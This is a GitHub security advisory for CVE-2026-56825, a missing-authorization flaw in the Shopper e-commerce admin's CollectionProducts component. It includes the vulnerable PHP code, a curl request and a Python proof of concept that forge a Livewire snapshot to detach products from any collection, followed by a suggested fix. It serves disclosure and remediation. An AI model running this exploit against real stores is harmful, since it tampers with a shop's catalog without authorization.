GitHub Advisoryadvisory · Packagist

GHSA-2cg9-97gq-9mqp Shopper: Missing authorization on product removal actions in CollectionProducts component

HIGH Published 2026-09-11 Modified 2026-09-11 Official page ↗
Aliases
CVE-2026-56825
Ecosystem
Packagist
Packages
shopper/framework
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weaknesses
CWE-862
Reviewed
2026-09-11

Affected packages

• Packagist shopper/framework: < 2.9.2 → fixed in 2.9.2

Description

Title Missing authorization on product removal actions in CollectionProducts component Description A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php`. Neither the `Action::make('delete')` at line 73 nor the `DeleteBulkAction::make()` at line 91 carries an `->authorize(...)` chain. The component also exposes `public Collection $collection` without `#[Locked]`, so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only `browse_collections`, can detach individual products or bulk-detach all products from any collection in the database. Severity CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High) Affected files • `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105` ```php // Line 40 - client-mutable, no #[Locked] public Collection $collection; // Lines 73-88 - per-record delete action, no ->authorize(...) ->recordActions([ Action::make('delete') ->label(__('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->iconButton() ->color('danger') ->requiresConfirmation() ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); $this->dispatch('collection.add.product'); Notification::make() ->title(__('shopper::pages/collections.remove_product')) ->success() ->send(); }), ]) // Lines 91-105 - bulk remove action, no ->authorize(...) ->groupedBulkActions([ DeleteBulkAction::make() ->label(__('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->requiresConfirmation() ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); $this->dispatch('collection.add.product'); Notification::make() ->title(__('shopper::pages/collections.remove_product')) ->success() ->send(); }) ->deselectRecordsAfterCompletion(), ]) ``` Steps to reproduce Prerequisites: any admin-panel account, including one whose role holds only `browse_collections` (no `edit_collections` required). ```bash SESSION="laravel_session=" XSRF="X-XSRF-TOKEN: " Step 1: Note the collection ID you wish to empty (e.g., collection_id=5). Step 2: Call the bulk table action on the CollectionProducts component, substituting collection ID 5 in the component state. curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $XSRF" \ -H "Cookie: $SESSION" \ -H "X-Livewire: 1" \ -d '{ "components": [{ "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}", "updates": {}, "calls": [{ "path": "", "method": "callBulkAction", "params": ["delete", [1, 2, 3, 4, 5]] }] }] }' Expected: HTTP 200, all listed product IDs detached from collection 5, regardless of the caller having only browse_collections. ``` Proof of concept ```python !/usr/bin/env python3 """ CollectionProducts authorization bypass PoC. Set these environment variables before running: BASE_URL e.g. http://localhost SESSION_COOKIE value of the laravel_session cookie XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie COMPONENT_ID Livewire component snapshot ID (from page source) COLLECTION_ID integer ID of the target collection PRODUCT_IDS comma-separated product IDs to detach (e.g. "1,2,3") """ import json import os import requests base_url = os.environ['BASE_URL'] session = os.environ['SESSION_COOKIE'] xsrf = os.environ['XSRF_TOKEN'] component_id = os.environ['COMPONENT_ID'] collection_id = int(os.environ['COLLECTION_ID']) product_ids = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')] headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravel_session={session}', 'X-Livewire': '1', } snapshot = json.dumps({ 'id': component_id, 'data': {'collection': collection_id}, 'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED', }) payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{ 'path': '', 'method': 'callBulkAction', 'params': ['delete', product_ids], }] }] } r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.status_code}') print(r.text[:500]) ``` Impact A staff member holding only `browse_collections` can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because `$collection` is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed. Suggested fix ```php // packages/admin/src/Livewire/Components/Collection/CollectionProducts.php use Livewire\Attributes\Locked; [Locked] // prevent client-side ID substitution public Collection $collection; // Per-record action: Action::make('delete') ->authorize('edit_collections') // add this ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); // ... }), // Bulk action: DeleteBulkAction::make() ->authorize('edit_collections') // add this ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); // ... }) ``` Credits Reported by Vishal Shukla (@shukla304 / @therawdev).

Related

Alias · CVE (1)

  • CVE-2026-56825 Shopper is a Headless e-commerce Admin Panel. vulnerability

Weakness · CWE (1)

  • CWE-862 Missing Authorization weakness

References